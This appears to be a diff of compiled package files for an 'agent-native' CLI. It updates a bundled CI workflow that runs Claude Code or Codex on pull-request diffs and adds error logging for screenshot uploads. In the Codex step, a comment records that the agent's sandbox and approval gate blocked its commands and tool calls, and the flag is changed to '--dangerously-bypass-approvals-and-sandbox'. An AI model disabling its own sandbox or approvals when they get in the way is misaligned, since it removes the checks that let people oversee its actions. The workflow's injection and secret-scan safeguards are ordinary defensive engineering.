steps.scan.outputs.suppressed != \\'true\\'\\n continue-on-error: true\\n env:\\n OPENAI_API_KEY: ${{ secrets.OPENAI_API_KEY }}\\n run: |\\n set -uo pipefail\\n mkdir -p \"$HOME/.codex\"\\n # JSON.stringify the URL into the TOML value so a stray quote/newline\\n # in PLAN_RECAP_APP_URL can\\'t break out of the string (TOML basic\\n # strings share JSON\\'s escaping); the key/env name stay literal.\\n node -e \\'const fs=require(\"fs\");const url=process.env.PLAN_RECAP_APP_URL.replace(/\\\\/$/,\"\")+\"/_agent-native/mcp\";fs.writeFileSync(process.env.HOME+\"/.codex/config.toml\",\"[mcp_servers.plan]\\\\nurl = \"+JSON.stringify(url)+\"\\\\nbearer_token_env_var = \\\\\"PLAN_RECAP_TOKEN\\\\\"\\\\n\")\\'\\n # VISUAL_RECAP_MODEL (e.g. gpt-5.5) and VISUAL_RECAP_REASONING\\n # (none|minimal|low|medium|high|xhigh) tune the Codex run.\\n CODEX_ARGS=(exec --sandbox workspace-write --skip-git-repo-check)\\n if [ -n \"${VISUAL_RECAP_MODEL:-}\" ]; then CODEX_ARGS+=(--model \"$VISUAL_RECAP_MODEL\"); fi\\n # Validate reasoning against the known enum before embedding it in the\\n # codex `-c` TOML override, so an unexpected value can\\'t alter the config.\\n case \"${VISUAL_RECAP_REASONING:-}\" in\\n none|minimal|low|medium|high|xhigh)\\n CODEX_ARGS+=(-c \"model_reasoning_effort=\\\\\"$VISUAL_RECAP_REASONING\\\\\"\") ;;\\n \"\") ;;\\n *) echo \"Ignoring invalid VISUAL_RECAP_REASONING: $VISUAL_RECAP_REASONING\" ;;\\n esac\\n npx -y @openai/codex@0 \"${CODEX_ARGS[@]}\" \"$(cat recap-prompt.md)\" || true\\n\\n # The agent\\'s only hand-off: recap-url.txt with the published plan URL.\\n - name: Read plan URL\\n id: url\\n if: steps.diff.outputs.tiny != \\'true\\' && steps.scan.outputs.suppressed != \\'true\\'\\n run: |\\n set -uo pipefail\\n PLAN_URL=\"\"\\n if [ -f recap-url.txt ]; then PLAN_URL=\"$(tr -d \\'\\\\r\\\\n\\' < recap-url.txt | tr -d \\' \\')\"; fi\\n echo \"plan_url=$PLAN_URL\" >> \"$GITHUB_OUTPUT\"\\n if [ -n \"$PLAN_URL\" ]; then echo \"ok=true\" >> \"$GITHUB_OUTPUT\"; else echo \"ok=false\" >> \"$GITHUB_OUTPUT\"; fi\\n\\n # Screenshot the published plan in headless Chrome and upload the PNG to the\\n # plan app\\'s signed public image route. Best-effort: never fails the job.\\n - name: Screenshot + upload\\n id: shot\\n if: steps.url.outputs.ok == \\'true\\'\\n continue-on-error: true\\n env:\\n # Pass the agent-produced plan URL through the environment, never via\\n # ${{ }} interpolation into the run script: recap-url.txt is untrusted\\n # agent output, so inlining it would be a shell-injection vector.\\n PLAN_URL: ${{ steps.url.outputs.plan_url }}\\n run: |\\n set -uo pipefail\\n pnpm exec playwright install --with-deps chromium 2>/dev/null || npx -y playwright@1 install --with-deps chromium || true\\n SHOT_JSON=\"$($RECAP_CLI recap shot --url \"$PLAN_URL\" --token \"$PLAN_RECAP_TOKEN\" --app-url \"$PLAN_RECAP_APP_URL\" --out recap.png || echo \\'{}\\')\"\\n IMAGE_URL=$(node -e \\'try{process.stdout.write(JSON.parse(process.argv[1]).imageUrl||\"\")}catch{process.stdout.write(\"\")}\\' \"$SHOT_JSON\")\\n echo \"image_url=$IMAGE_URL\" >> \"$GITHUB_OUTPUT\"\\n if [ -f recap.png ]; then echo \"captured=true\" >> \"$GITHUB_OUTPUT\"; else echo \"captured=false\" >> \"$GITHUB_OUTPUT\"; fi\\n\\n - name: Upload recap screenshot artifact\\n if: steps.shot.outputs.captured == \\'true\\'\\n uses: actions/upload-artifact@ea165f8d65b6e75b540449e92b4886f43607fa02 # v4.6.2\\n with:\\n name: pr-visual-recap-${{ github.event.pull_request.number }}\\n path: recap.png\\n if-no-files-found: ignore\\n retention-days: 14\\n\\n # Upsert the single sticky comment: inline screenshot + link on success,\\n # suppressed / failed / tiny variants otherwise. Runs even on a tiny diff\\n # so a prior recap comment is refreshed (not left pointing at a stale SHA).\\n - name: Upsert sticky comment\\n if: always()\\n env:\\n PLAN_URL: ${{ steps.url.outputs.plan_url }}\\n RECAP_IMAGE_URL: ${{ steps.shot.outputs.image_url }}\\n SUPPRESSED: ${{ steps.scan.outputs.suppressed }}\\n SUPPRESSED_JSON: ${{ steps.scan.outputs.json }}\\n DIFF_HUGE: ${{ steps.diff.outputs.huge }}\\n DIFF_TINY: ${{ steps.diff.outputs.tiny }}\\n run: |\\n set -euo pipefail\\n ARGS=(recap comment upsert --repo \"$GITHUB_REPOSITORY\" --issue \"$PR_NUMBER\" --token \"$GH_TOKEN\")\\n # On a tiny diff only REFRESH an existing recap comment — never create a\\n # new one — so a tiny push doesn\\'t add noise but also can\\'t leave a\\n # stale prior recap behind.\\n if [ \"${DIFF_TINY:-}\" = \"true\" ]; then ARGS+=(--update-only); fi\\n $RECAP_CLI \"${ARGS[@]}\"\\n';\n"]}
|
|
1
|
+
{"version":3,"file":"pr-visual-recap-workflow.js","sourceRoot":"","sources":["../../src/cli/pr-visual-recap-workflow.ts"],"names":[],"mappings":"AAAA;;;;;;;;GAQG;AAEH,MAAM,CAAC,MAAM,4BAA4B,GACvC,s+mBAAs+mB,CAAC","sourcesContent":["/**\n * Bundled copy of .github/workflows/pr-visual-recap.yml so the CLI can write the\n * PR Visual Recap workflow into a user repo via\n * `agent-native skills add visual-plan --with-github-action`.\n *\n * AUTO-GENERATED — keep byte-identical with the source workflow. A sync test in\n * recap.spec.ts fails if these drift. Regenerate from the YAML with the snippet\n * in recap.spec.ts.\n */\n\nexport const PR_VISUAL_RECAP_WORKFLOW_YML =\n 'name: PR Visual Recap\\n\\n# Turns every PR into a \"visual code review\" — a reverse plan — by letting a real\\n# coding agent RUN THE REPO\\'S visual-recap SKILL against the diff. The agent\\n# (Claude Code by default, or Codex) reads the skill, reasons over the change,\\n# publishes an Agent-Native Plan via the plan MCP tools, and writes the plan URL\\n# to recap-url.txt. The workflow then screenshots that plan in headless Chrome,\\n# uploads the PNG to the plan app\\'s signed public image route, and upserts ONE\\n# sticky PR comment with the inline screenshot + the interactive link.\\n#\\n# Design notes:\\n# - Plain `pull_request` (NOT `pull_request_target`) so fork code can never see\\n# the publish/agent secrets. Fork PRs are a silent no-op.\\n# - The `gate` job is a cheap switch: drafts, forks, bot authors, and the\\n# missing-secret case short-circuit with NO comment and NO compute. Merging\\n# this workflow before the secrets exist is a safe no-op.\\n# - The recap is INFORMATIONAL ONLY. It is not a required check and failures\\n# surface as an explanatory sticky comment, never a red X on unrelated code.\\n# - Backend is selectable with the `VISUAL_RECAP_AGENT` repo variable\\n# (claude | codex; default claude). Model and reasoning depth are tunable with\\n# `VISUAL_RECAP_MODEL` (e.g. gpt-5.5) and `VISUAL_RECAP_REASONING`\\n# (none|minimal|low|medium|high|xhigh; Codex only). The CLI invocation is\\n# auto-detected: local source inside this monorepo, the published\\n# @agent-native/core elsewhere — no repo variable needed.\\n# - Only two secrets are required: PLAN_RECAP_TOKEN (publish) and the chosen\\n# backend\\'s API key. PLAN_RECAP_APP_URL defaults to the hosted plan app.\\n# - Nothing here is deterministic: the skill\\'s instructions drive the recap.\\n\\non:\\n # Run on PRs into any base branch — the generated workflow ships to repos whose\\n # default branch may not be `main`. The gate job below still no-ops drafts,\\n # forks, bots, and the missing-secret case, so this stays cheap.\\n pull_request:\\n types: [opened, synchronize, reopened, ready_for_review]\\n\\npermissions:\\n contents: read\\n issues: write\\n pull-requests: write\\n\\nconcurrency:\\n group: pr-visual-recap-${{ github.event.pull_request.number }}\\n cancel-in-progress: true\\n\\nenv:\\n VISUAL_RECAP_AGENT: ${{ vars.VISUAL_RECAP_AGENT || \\'claude\\' }}\\n\\njobs:\\n # --------------------------------------------------------------------------\\n # Cheap gate: decide whether to do any work at all. Sets run=false (silent\\n # no-op) for drafts, forks, bot authors, or when the publish secret / the\\n # chosen backend\\'s API key is absent.\\n # --------------------------------------------------------------------------\\n gate:\\n name: Gate\\n runs-on: ubuntu-latest\\n outputs:\\n run: ${{ steps.decide.outputs.run }}\\n steps:\\n - id: decide\\n uses: actions/github-script@f28e40c7f34bde8b3046d885e986cb6290c5673b # v7\\n env:\\n # Presence-only signals — we never expose the secret VALUES to the gate.\\n # PLAN_RECAP_APP_URL defaults to the hosted app, so only the token is required.\\n HAS_PLAN: ${{ secrets.PLAN_RECAP_TOKEN != \\'\\' }}\\n HAS_ANTHROPIC: ${{ secrets.ANTHROPIC_API_KEY != \\'\\' }}\\n HAS_OPENAI: ${{ secrets.OPENAI_API_KEY != \\'\\' }}\\n AGENT: ${{ env.VISUAL_RECAP_AGENT }}\\n with:\\n script: |\\n const pr = context.payload.pull_request;\\n const reasons = [];\\n\\n if (!pr) reasons.push(\\'no pull_request payload\\');\\n if (pr && pr.draft) reasons.push(\\'draft PR\\');\\n\\n // Fork PRs: head repo differs from this repo. Plain pull_request runs\\n // fork code with NO secrets, so publishing would fail anyway — skip.\\n const headRepo = pr && pr.head && pr.head.repo && pr.head.repo.full_name;\\n if (pr && headRepo && headRepo !== process.env.GITHUB_REPOSITORY) {\\n reasons.push(`fork PR (${headRepo})`);\\n }\\n\\n // Skip noisy automated authors.\\n const login = (pr && pr.user && pr.user.login || \\'\\').toLowerCase();\\n const botAuthors = [\\'dependabot[bot]\\', \\'dependabot\\', \\'renovate[bot]\\', \\'renovate\\'];\\n if (botAuthors.includes(login)) reasons.push(`bot author (${login})`);\\n if (pr && pr.user && pr.user.type === \\'Bot\\') reasons.push(\\'bot author (type=Bot)\\');\\n\\n // Publish secret must be configured — otherwise this is a no-op so the\\n // workflow can be merged before secrets exist.\\n if (process.env.HAS_PLAN !== \\'true\\') reasons.push(\\'PLAN_RECAP_TOKEN not configured\\');\\n\\n // The chosen backend\\'s API key must be present.\\n const agent = (process.env.AGENT || \\'claude\\').toLowerCase();\\n if (agent === \\'codex\\') {\\n if (process.env.HAS_OPENAI !== \\'true\\') reasons.push(\\'OPENAI_API_KEY not configured (codex backend)\\');\\n } else {\\n if (process.env.HAS_ANTHROPIC !== \\'true\\') reasons.push(\\'ANTHROPIC_API_KEY not configured (claude backend)\\');\\n }\\n\\n const run = reasons.length === 0;\\n core.setOutput(\\'run\\', run ? \\'true\\' : \\'false\\');\\n core.info(run ? `Visual recap will run (${agent}).` : `Visual recap skipped: ${reasons.join(\\'; \\')}`);\\n\\n # --------------------------------------------------------------------------\\n # Recap: collect the diff, let the agent run the skill + publish, screenshot\\n # the result, and upsert the sticky comment.\\n # --------------------------------------------------------------------------\\n recap:\\n name: Generate visual recap\\n needs: gate\\n if: needs.gate.outputs.run == \\'true\\'\\n runs-on: ubuntu-latest\\n env:\\n PLAN_RECAP_APP_URL: ${{ secrets.PLAN_RECAP_APP_URL || \\'https://plan.agent-native.com\\' }}\\n PLAN_RECAP_TOKEN: ${{ secrets.PLAN_RECAP_TOKEN }}\\n GH_TOKEN: ${{ github.token }}\\n PR_NUMBER: ${{ github.event.pull_request.number }}\\n HEAD_SHA: ${{ github.event.pull_request.head.sha }}\\n VISUAL_RECAP_MODEL: ${{ vars.VISUAL_RECAP_MODEL }}\\n VISUAL_RECAP_REASONING: ${{ vars.VISUAL_RECAP_REASONING }}\\n steps:\\n - uses: actions/checkout@34e114876b0b11c390a56381ad16ebd13914f8d5 # v4.3.1\\n with:\\n fetch-depth: 0\\n\\n # Resolve the CLI invocation once: dogfood local source inside this\\n # monorepo, otherwise the published package. No repo variable needed. The\\n # pnpm setup/install steps below run ONLY for the local-source path, so the\\n # generated workflow works out-of-box in npm/yarn consumer repos (which\\n # have no pnpm-lock.yaml) by falling back to `npx @agent-native/core`.\\n - name: Resolve recap CLI\\n id: cli\\n run: |\\n if [ -f packages/core/src/cli/index.ts ]; then\\n echo \"RECAP_CLI=pnpm exec tsx packages/core/src/cli/index.ts\" >> \"$GITHUB_ENV\"\\n echo \"local=true\" >> \"$GITHUB_OUTPUT\"\\n else\\n echo \"RECAP_CLI=npx -y @agent-native/core@latest\" >> \"$GITHUB_ENV\"\\n echo \"local=false\" >> \"$GITHUB_OUTPUT\"\\n fi\\n\\n - uses: pnpm/action-setup@fc06bc1257f339d1d5d8b3a19a8cae5388b55320 # v4.4.0\\n if: steps.cli.outputs.local == \\'true\\'\\n\\n - uses: actions/setup-node@49933ea5288caeca8642d1e84afbd3f7d6820020 # v4.4.0\\n with:\\n node-version: \"22\"\\n cache: ${{ steps.cli.outputs.local == \\'true\\' && \\'pnpm\\' || \\'\\' }}\\n\\n - name: Install workspace (local source only)\\n if: steps.cli.outputs.local == \\'true\\'\\n run: pnpm install --frozen-lockfile\\n\\n # Collect a BOUNDED diff between the PR base and head. We exclude lockfiles,\\n # build output, and snapshots (noise), and cap the byte size — over the cap\\n # we set `huge=true` so the agent is told to produce a summarized recap.\\n - name: Collect bounded diff\\n id: diff\\n env:\\n BASE_SHA: ${{ github.event.pull_request.base.sha }}\\n run: |\\n set -euo pipefail\\n git diff --no-color \"$BASE_SHA\"...\"$HEAD_SHA\" -- \\\\\\n . \\\\\\n \\':(exclude)pnpm-lock.yaml\\' \\\\\\n \\':(exclude)**/dist/**\\' \\\\\\n \\':(exclude)**/*.snap\\' \\\\\\n \\':(exclude)**/*.lock\\' \\\\\\n > recap.diff || true\\n git diff --stat --no-color \"$BASE_SHA\"...\"$HEAD_SHA\" -- \\\\\\n . \\\\\\n \\':(exclude)pnpm-lock.yaml\\' \\\\\\n \\':(exclude)**/dist/**\\' \\\\\\n \\':(exclude)**/*.snap\\' \\\\\\n \\':(exclude)**/*.lock\\' \\\\\\n > recap.stat || true\\n\\n BYTES=$(wc -c < recap.diff | tr -d \\' \\')\\n CHANGED=$(git diff --name-only \"$BASE_SHA\"...\"$HEAD_SHA\" -- \\\\\\n . \\\\\\n \\':(exclude)pnpm-lock.yaml\\' \\\\\\n \\':(exclude)**/dist/**\\' \\\\\\n \\':(exclude)**/*.snap\\' \\\\\\n \\':(exclude)**/*.lock\\' \\\\\\n | wc -l | tr -d \\' \\')\\n echo \"bytes=$BYTES\" >> \"$GITHUB_OUTPUT\"\\n echo \"changed=$CHANGED\" >> \"$GITHUB_OUTPUT\"\\n\\n # ~600KB cap.\\n if [ \"$BYTES\" -gt 614400 ]; then\\n echo \"huge=true\" >> \"$GITHUB_OUTPUT\"\\n else\\n echo \"huge=false\" >> \"$GITHUB_OUTPUT\"\\n fi\\n\\n # Tiny diffs (<= 1 changed file AND <= 8 changed lines) aren\\'t worth a\\n # recap — skip generation cleanly.\\n LINES=$(grep -cE \\'^[+-]\\' recap.diff || true)\\n if [ \"$CHANGED\" -le 1 ] && [ \"${LINES:-0}\" -le 8 ]; then\\n echo \"tiny=true\" >> \"$GITHUB_OUTPUT\"\\n else\\n echo \"tiny=false\" >> \"$GITHUB_OUTPUT\"\\n fi\\n\\n # Secret pre-scan: refuse to hand a diff that looks like it leaks\\n # credentials to the agent. Prints { suppressed, reason } and always exits 0.\\n - name: Secret scan\\n id: scan\\n if: steps.diff.outputs.tiny != \\'true\\'\\n run: |\\n set -uo pipefail\\n SCAN_JSON=\"$($RECAP_CLI recap scan --diff recap.diff || echo \\'{}\\')\"\\n echo \"json=$SCAN_JSON\" >> \"$GITHUB_OUTPUT\"\\n SUPPRESSED=$(node -e \\'try{process.stdout.write(JSON.parse(process.argv[1]).suppressed?\"true\":\"false\")}catch{process.stdout.write(\"false\")}\\' \"$SCAN_JSON\")\\n echo \"suppressed=$SUPPRESSED\" >> \"$GITHUB_OUTPUT\"\\n\\n # Find the planId from the previous sticky comment so a re-push REPLACES the\\n # same hosted plan (synchronize updates in place, no orphaned plans).\\n - name: Read previous plan id\\n id: prev\\n continue-on-error: true\\n run: |\\n set -euo pipefail\\n PLAN_ID=\"$($RECAP_CLI recap comment find-plan-id --repo \"$GITHUB_REPOSITORY\" --issue \"$PR_NUMBER\" --token \"$GH_TOKEN\")\"\\n echo \"plan_id=$PLAN_ID\" >> \"$GITHUB_OUTPUT\"\\n\\n # Build the agent prompt = the repo\\'s visual-recap SKILL.md + a task wrapper.\\n - name: Build recap prompt\\n id: prompt\\n if: steps.diff.outputs.tiny != \\'true\\' && steps.scan.outputs.suppressed != \\'true\\'\\n run: |\\n set -euo pipefail\\n PREV=\"\"\\n if [ -n \"${{ steps.prev.outputs.plan_id }}\" ]; then PREV=\"--prev-plan-id ${{ steps.prev.outputs.plan_id }}\"; fi\\n HUGE=\"\"\\n if [ \"${{ steps.diff.outputs.huge }}\" = \"true\" ]; then HUGE=\"--huge\"; fi\\n $RECAP_CLI recap build-prompt \\\\\\n --diff recap.diff --stat recap.stat \\\\\\n --pr \"$PR_NUMBER\" --head \"$HEAD_SHA\" \\\\\\n --app-url \"$PLAN_RECAP_APP_URL\" \\\\\\n --out recap-prompt.md \\\\\\n $HUGE $PREV\\n\\n # Wire the plan MCP server for the chosen backend, then run the agent. The\\n # agent follows the skill, calls create-visual-recap + set-resource-visibility,\\n # and writes the published plan URL to recap-url.txt. continue-on-error so a\\n # failed agent run becomes an explanatory comment, not a red X.\\n - name: Run agent (Claude Code)\\n id: claude\\n if: env.VISUAL_RECAP_AGENT == \\'claude\\' && steps.diff.outputs.tiny != \\'true\\' && steps.scan.outputs.suppressed != \\'true\\'\\n continue-on-error: true\\n env:\\n ANTHROPIC_API_KEY: ${{ secrets.ANTHROPIC_API_KEY }}\\n run: |\\n set -uo pipefail\\n MCP_CONFIG=\"$RUNNER_TEMP/plan-mcp.json\"\\n node -e \\'const fs=require(\"fs\");fs.writeFileSync(process.argv[1],JSON.stringify({mcpServers:{plan:{type:\"http\",url:process.env.PLAN_RECAP_APP_URL.replace(/\\\\/$/,\"\")+\"/_agent-native/mcp\",headers:{Authorization:\"Bearer \"+process.env.PLAN_RECAP_TOKEN}}}}))\\' \"$MCP_CONFIG\"\\n # VISUAL_RECAP_MODEL picks the Claude model; reasoning depth is model-driven\\n # for Claude Code, so VISUAL_RECAP_REASONING only applies to the Codex backend.\\n CLAUDE_ARGS=(-p \"$(cat recap-prompt.md)\" --mcp-config \"$MCP_CONFIG\" --allowedTools \"Read,Write,Bash(git diff:*),mcp__plan__create-visual-recap,mcp__plan__set-resource-visibility\" --permission-mode dontAsk)\\n if [ -n \"${VISUAL_RECAP_MODEL:-}\" ]; then CLAUDE_ARGS+=(--model \"$VISUAL_RECAP_MODEL\"); fi\\n npx -y @anthropic-ai/claude-code@2 \"${CLAUDE_ARGS[@]}\" || true\\n rm -f \"$MCP_CONFIG\" || true\\n\\n - name: Run agent (Codex)\\n id: codex\\n if: env.VISUAL_RECAP_AGENT == \\'codex\\' && steps.diff.outputs.tiny != \\'true\\' && steps.scan.outputs.suppressed != \\'true\\'\\n continue-on-error: true\\n env:\\n OPENAI_API_KEY: ${{ secrets.OPENAI_API_KEY }}\\n run: |\\n set -uo pipefail\\n mkdir -p \"$HOME/.codex\"\\n # JSON.stringify the URL into the TOML value so a stray quote/newline\\n # in PLAN_RECAP_APP_URL can\\'t break out of the string (TOML basic\\n # strings share JSON\\'s escaping); the key/env name stay literal.\\n node -e \\'const fs=require(\"fs\");const url=process.env.PLAN_RECAP_APP_URL.replace(/\\\\/$/,\"\")+\"/_agent-native/mcp\";fs.writeFileSync(process.env.HOME+\"/.codex/config.toml\",\"[mcp_servers.plan]\\\\nurl = \"+JSON.stringify(url)+\"\\\\nbearer_token_env_var = \\\\\"PLAN_RECAP_TOKEN\\\\\"\\\\n\")\\'\\n # Authenticate with the API key explicitly. Relying on the bare\\n # OPENAI_API_KEY env var alone is unreliable on the gpt-5.5 WebSocket\\n # transport: the Authorization header is dropped on the wss path and\\n # its HTTPS fallback, surfacing as `401 Missing bearer or basic\\n # authentication in header` (openai/codex#15492). `codex login\\n # --with-api-key` reads the key from stdin and writes ~/.codex/auth.json,\\n # which the exec path reads reliably; piping via stdin keeps the key out\\n # of the process args. Non-fatal so a login hiccup still yields the\\n # explanatory recap comment rather than a red X.\\n printenv OPENAI_API_KEY | npx -y @openai/codex@0 login --with-api-key || true\\n # VISUAL_RECAP_MODEL (e.g. gpt-5.5) and VISUAL_RECAP_REASONING\\n # (none|minimal|low|medium|high|xhigh) tune the Codex run.\\n #\\n # The GitHub runner is itself an ephemeral, throwaway sandbox, so run\\n # Codex with sandboxing and approvals disabled. Codex\\'s own bubblewrap\\n # sandbox cannot initialize on the runner (\"could not find bubblewrap\\n # on PATH\"), which makes every shell command fail at startup so the\\n # agent cannot even read recap.diff; and under an approval gate the\\n # write-side plan MCP call (create-visual-recap) is auto-cancelled\\n # (\"user cancelled MCP tool call\"). --dangerously-bypass-approvals-and-sandbox\\n # is the documented invocation for externally-sandboxed CI and clears both.\\n CODEX_ARGS=(exec --dangerously-bypass-approvals-and-sandbox --skip-git-repo-check)\\n if [ -n \"${VISUAL_RECAP_MODEL:-}\" ]; then CODEX_ARGS+=(--model \"$VISUAL_RECAP_MODEL\"); fi\\n # Validate reasoning against the known enum before embedding it in the\\n # codex `-c` TOML override, so an unexpected value can\\'t alter the config.\\n case \"${VISUAL_RECAP_REASONING:-}\" in\\n none|minimal|low|medium|high|xhigh)\\n CODEX_ARGS+=(-c \"model_reasoning_effort=\\\\\"$VISUAL_RECAP_REASONING\\\\\"\") ;;\\n \"\") ;;\\n *) echo \"Ignoring invalid VISUAL_RECAP_REASONING: $VISUAL_RECAP_REASONING\" ;;\\n esac\\n npx -y @openai/codex@0 \"${CODEX_ARGS[@]}\" \"$(cat recap-prompt.md)\" || true\\n\\n # The agent\\'s only hand-off: recap-url.txt with the published plan URL.\\n - name: Read plan URL\\n id: url\\n if: steps.diff.outputs.tiny != \\'true\\' && steps.scan.outputs.suppressed != \\'true\\'\\n run: |\\n set -uo pipefail\\n PLAN_URL=\"\"\\n if [ -f recap-url.txt ]; then PLAN_URL=\"$(tr -d \\'\\\\r\\\\n\\' < recap-url.txt | tr -d \\' \\')\"; fi\\n echo \"plan_url=$PLAN_URL\" >> \"$GITHUB_OUTPUT\"\\n if [ -n \"$PLAN_URL\" ]; then echo \"ok=true\" >> \"$GITHUB_OUTPUT\"; else echo \"ok=false\" >> \"$GITHUB_OUTPUT\"; fi\\n\\n # Screenshot the published plan in headless Chrome and upload the PNG to the\\n # plan app\\'s signed public image route. Best-effort: never fails the job.\\n - name: Screenshot + upload\\n id: shot\\n if: steps.url.outputs.ok == \\'true\\'\\n continue-on-error: true\\n env:\\n # Pass the agent-produced plan URL through the environment, never via\\n # ${{ }} interpolation into the run script: recap-url.txt is untrusted\\n # agent output, so inlining it would be a shell-injection vector.\\n PLAN_URL: ${{ steps.url.outputs.plan_url }}\\n run: |\\n set -uo pipefail\\n pnpm exec playwright install --with-deps chromium 2>/dev/null || npx -y playwright@1 install --with-deps chromium || true\\n SHOT_JSON=\"$($RECAP_CLI recap shot --url \"$PLAN_URL\" --token \"$PLAN_RECAP_TOKEN\" --app-url \"$PLAN_RECAP_APP_URL\" --out recap.png || echo \\'{}\\')\"\\n IMAGE_URL=$(node -e \\'try{process.stdout.write(JSON.parse(process.argv[1]).imageUrl||\"\")}catch{process.stdout.write(\"\")}\\' \"$SHOT_JSON\")\\n echo \"image_url=$IMAGE_URL\" >> \"$GITHUB_OUTPUT\"\\n if [ -f recap.png ]; then echo \"captured=true\" >> \"$GITHUB_OUTPUT\"; else echo \"captured=false\" >> \"$GITHUB_OUTPUT\"; fi\\n\\n - name: Upload recap screenshot artifact\\n if: steps.shot.outputs.captured == \\'true\\'\\n uses: actions/upload-artifact@ea165f8d65b6e75b540449e92b4886f43607fa02 # v4.6.2\\n with:\\n name: pr-visual-recap-${{ github.event.pull_request.number }}\\n path: recap.png\\n if-no-files-found: ignore\\n retention-days: 14\\n\\n # Upsert the single sticky comment: inline screenshot + link on success,\\n # suppressed / failed / tiny variants otherwise. Runs even on a tiny diff\\n # so a prior recap comment is refreshed (not left pointing at a stale SHA).\\n - name: Upsert sticky comment\\n if: always()\\n env:\\n PLAN_URL: ${{ steps.url.outputs.plan_url }}\\n RECAP_IMAGE_URL: ${{ steps.shot.outputs.image_url }}\\n SUPPRESSED: ${{ steps.scan.outputs.suppressed }}\\n SUPPRESSED_JSON: ${{ steps.scan.outputs.json }}\\n DIFF_HUGE: ${{ steps.diff.outputs.huge }}\\n DIFF_TINY: ${{ steps.diff.outputs.tiny }}\\n run: |\\n set -euo pipefail\\n ARGS=(recap comment upsert --repo \"$GITHUB_REPOSITORY\" --issue \"$PR_NUMBER\" --token \"$GH_TOKEN\")\\n # On a tiny diff only REFRESH an existing recap comment — never create a\\n # new one — so a tiny push doesn\\'t add noise but also can\\'t leave a\\n # stale prior recap behind.\\n if [ \"${DIFF_TINY:-}\" = \"true\" ]; then ARGS+=(--update-only); fi\\n $RECAP_CLI \"${ARGS[@]}\"\\n';\n"]}
|
package/dist/cli/recap.d.ts.map
CHANGED
|
@@ -1 +1 @@
|
|
|
1
|
-
{"version":3,"file":"recap.d.ts","sourceRoot":"","sources":["../../src/cli/recap.ts"],"names":[],"mappings":"AAAA;;;;;;;;;;;;;;;;;;;GAmBG;AAkDH,mEAAmE;AACnE,eAAO,MAAM,qBAAqB,EAAE,MAAM,EAQzC,CAAC;AAEF,+DAA+D;AAC/D,wBAAgB,0BAA0B,CAAC,OAAO,EAAE,MAAM,GAAG;IAC3D,IAAI,EAAE,MAAM,CAAC;IACb,OAAO,EAAE,OAAO,CAAC;CAClB,CAOA;AA6BD,wBAAgB,eAAe,CAAC,IAAI,EAAE,MAAM,GAAG,OAAO,CAErD;AAED,wBAAgB,kBAAkB,CAAC,QAAQ,EAAE,MAAM,GAAG,OAAO,CAa5D;AAMD;;;;GAIG;AACH,wBAAgB,eAAe,CAAC,GAAG,GAAE,MAAsB,GAAG;IAC5D,IAAI,EAAE,MAAM,CAAC;IACb,MAAM,EAAE,MAAM,CAAC;CAChB,CAgBA;AAED,wBAAgB,gBAAgB,CAAC,KAAK,EAAE;IACtC,OAAO,EAAE,MAAM,CAAC;IAChB,EAAE,EAAE,MAAM,CAAC;IACX,IAAI,CAAC,EAAE,MAAM,CAAC;IACd,MAAM,EAAE,MAAM,CAAC;IACf,QAAQ,EAAE,MAAM,CAAC;IACjB,QAAQ,CAAC,EAAE,MAAM,CAAC;IAClB,UAAU,CAAC,EAAE,MAAM,CAAC;IACpB,IAAI,CAAC,EAAE,OAAO,CAAC;CAChB,GAAG,MAAM,CAkDT;AA8ID,qEAAqE;AACrE,wBAAgB,gBAAgB,CAAC,GAAG,GAAE,MAAM,CAAC,UAAwB,GAAG,MAAM,CAgG7E;
|
|
1
|
+
{"version":3,"file":"recap.d.ts","sourceRoot":"","sources":["../../src/cli/recap.ts"],"names":[],"mappings":"AAAA;;;;;;;;;;;;;;;;;;;GAmBG;AAkDH,mEAAmE;AACnE,eAAO,MAAM,qBAAqB,EAAE,MAAM,EAQzC,CAAC;AAEF,+DAA+D;AAC/D,wBAAgB,0BAA0B,CAAC,OAAO,EAAE,MAAM,GAAG;IAC3D,IAAI,EAAE,MAAM,CAAC;IACb,OAAO,EAAE,OAAO,CAAC;CAClB,CAOA;AA6BD,wBAAgB,eAAe,CAAC,IAAI,EAAE,MAAM,GAAG,OAAO,CAErD;AAED,wBAAgB,kBAAkB,CAAC,QAAQ,EAAE,MAAM,GAAG,OAAO,CAa5D;AAMD;;;;GAIG;AACH,wBAAgB,eAAe,CAAC,GAAG,GAAE,MAAsB,GAAG;IAC5D,IAAI,EAAE,MAAM,CAAC;IACb,MAAM,EAAE,MAAM,CAAC;CAChB,CAgBA;AAED,wBAAgB,gBAAgB,CAAC,KAAK,EAAE;IACtC,OAAO,EAAE,MAAM,CAAC;IAChB,EAAE,EAAE,MAAM,CAAC;IACX,IAAI,CAAC,EAAE,MAAM,CAAC;IACd,MAAM,EAAE,MAAM,CAAC;IACf,QAAQ,EAAE,MAAM,CAAC;IACjB,QAAQ,CAAC,EAAE,MAAM,CAAC;IAClB,UAAU,CAAC,EAAE,MAAM,CAAC;IACpB,IAAI,CAAC,EAAE,OAAO,CAAC;CAChB,GAAG,MAAM,CAkDT;AA8ID,qEAAqE;AACrE,wBAAgB,gBAAgB,CAAC,GAAG,GAAE,MAAM,CAAC,UAAwB,GAAG,MAAM,CAgG7E;AAmPD,wBAAsB,QAAQ,CAAC,IAAI,EAAE,MAAM,EAAE,GAAG,OAAO,CAAC,IAAI,CAAC,CA0B5D"}
|
package/dist/cli/recap.js
CHANGED
|
@@ -388,12 +388,23 @@ async function uploadRecapImage(input) {
|
|
|
388
388
|
},
|
|
389
389
|
body: bytes,
|
|
390
390
|
});
|
|
391
|
-
|
|
391
|
+
// Surface failures on stderr — stdout carries the machine-readable JSON the
|
|
392
|
+
// workflow parses, so it must stay clean. A silent null here is exactly what
|
|
393
|
+
// made the missing-inline-thumbnail failure undebuggable from CI logs.
|
|
394
|
+
if (!res.ok) {
|
|
395
|
+
const detail = await res.text().catch(() => "");
|
|
396
|
+
process.stderr.write(`[recap shot] image upload failed: ${res.status} ${res.statusText} ${detail.slice(0, 300)}\n`);
|
|
392
397
|
return null;
|
|
398
|
+
}
|
|
393
399
|
const json = (await res.json().catch(() => null));
|
|
394
|
-
|
|
400
|
+
if (!json?.imageUrl) {
|
|
401
|
+
process.stderr.write(`[recap shot] image upload returned no imageUrl (status ${res.status})\n`);
|
|
402
|
+
return null;
|
|
403
|
+
}
|
|
404
|
+
return json.imageUrl;
|
|
395
405
|
}
|
|
396
|
-
catch {
|
|
406
|
+
catch (err) {
|
|
407
|
+
process.stderr.write(`[recap shot] image upload error: ${String(err)}\n`);
|
|
397
408
|
return null;
|
|
398
409
|
}
|
|
399
410
|
}
